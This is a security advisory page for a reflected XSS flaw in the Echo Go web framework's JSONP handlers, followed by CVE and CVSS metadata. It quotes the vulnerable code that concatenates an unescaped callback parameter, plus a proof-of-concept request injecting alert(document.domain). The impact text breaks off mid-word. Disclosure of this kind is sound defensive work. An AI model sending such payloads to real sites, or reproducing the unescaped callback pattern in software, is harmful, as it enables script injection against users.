MEDIUMCVSS v3.1 6.1Vulnerability

CVE-2026-118652

### Summary The `Context.JSONP`, `Context.JSONPBlob`, and internal `jsonPBlob` helper in `context.go` directly concatenate the caller-supplied `callback` parameter into a JavaScript response **without any validation, escaping, or allow-listing**. This creates a high-impact **reflected XSS** that can be triggered by any route passing attacker-controlled data (query string, form, header, path param, etc.) into the callback. **Present in current master and v5.1.0 (latest release).** ### Vulnerable Code (verbatim) ```go func (c *Context) jsonPBlob(code int, callback string, i any) (err error) { c.writeContentType(MIMEApplicationJavaScriptCharsetUTF8) c.response.WriteHeader(code) if _, err = c.response.Write([]byte(callback + "(")); err != nil { return } if err = c.echo.JSONSerializer.Serialize(c, i, ""); err != nil { return } if _, err = c.response.Write([]byte(");")); err != nil { return } return } func (c *Context) JSONP(code int, callback string, i any) (err error) { return c.jsonPBlob(code, callback, i) } func (c *Context) JSONPBlob(code int, callback string, b []byte) (err error) { c.writeContentType(MIMEApplicationJavaScriptCharsetUTF8) c.response.WriteHeader(code) if _, err = c.response.Write([]byte(callback + "(")); err != nil { return } if _, err = c.response.Write(b); err != nil { return } _, err = c.response.Write([]byte(");")) return } ``` No sanitization is performed on the callback string. ### Exploit (one-request repro) Any route using the official pattern is vulnerable: ``` Goe.GET("/api", func(c echo.Context) error { return c.JSONP(200, c.QueryParam("callback"), map[string]string{"status": "ok"}) }) ``` Attacker request: ``` GET /api?callback=alert(document.domain)%2f%2f HTTP/1.1 Host: target.com ``` Server response: ``` Content-Type: application/javascript; charset=utf-8 alert(document.domain)//({"status":"ok"}); ``` → Immediate arbitrary JavaScript execution (full reflected XSS). ### Impact - Session hijacki

Properties

Severity
medium
Summary
Echo vulnerable to Reflected Cross-Site Scripting (XSS) via unsanitized JSONP callback in Context.JSONP / Context.JSONPBlob
Nvd fetched at
2026-10-28T23:43:43.157973+00:00
Cvss severity
MEDIUM
Cvss score
6.1
Retrieved at
2026-10-28T23:45:49+00:00
Ghsa published
2026-10-28T19:54:05Z
Source url
https://github.com/advisories/GHSA-h9g5-28mm-hx3g
Ghsa updated
2026-10-28T19:54:06Z
Ghsa id
GHSA-h9g5-28mm-hx3g
Last source
GitHub Advisory Database
Score
6.1
Cvss version
3.1
Cve id
CVE-2026-118652
Cvss vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
First seen by Signal
2026-10-28T23:44:40+00:00
Is ghsa only
false
Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Published at
2026-10-28T20:17:22.250
Last modified
2026-10-28T20:17:22.250

Related Entities (5)

Explore deeper with Ninja Signal's threat intelligence graph

CVE-2026-118652 (CVSS v3.1 6.1) — Ninja Signal Threat Intelligence | Ninja Signal